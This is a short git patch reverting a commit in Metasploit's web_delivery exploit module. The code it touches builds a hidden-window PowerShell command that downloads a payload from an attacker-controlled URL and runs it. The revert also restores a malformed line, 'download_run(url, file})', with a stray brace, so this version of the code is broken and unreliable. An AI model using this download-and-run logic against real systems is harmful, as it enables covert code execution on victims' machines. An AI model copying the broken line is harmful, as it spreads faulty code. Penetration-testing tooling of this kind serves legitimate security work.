From 0a858cdaa9435695ee84c3081e3be5ee4b11c3d1 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 25 Oct 2017 16:13:00 -0500 Subject: [PATCH] Revert "fix my comments from #8933" This reverts commit 02a28395773e565329d017d9a36df0ba73fdb850. --- modules/exploits/multi/script/web_delivery.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index c73bbff5f7..707f1ca524 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -163,13 +163,16 @@ class MetasploitModule < Msf::Exploit::Remote file = %Q(echo (#{path}+'\\#{filename}')) # Generate download PowerShell command - download_string = Rex::Powershell::PshMethods.download_run(url, file) + download_string = Rex::Powershell::PshMethods.download_run(url, file}) end download_and_run = "#{ignore_cert}#{download_string}" # Generate main PowerShell command - return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) + return generate_psh_command_line(noprofile: true, + windowstyle: 'hidden', + command: download_and_run + ) end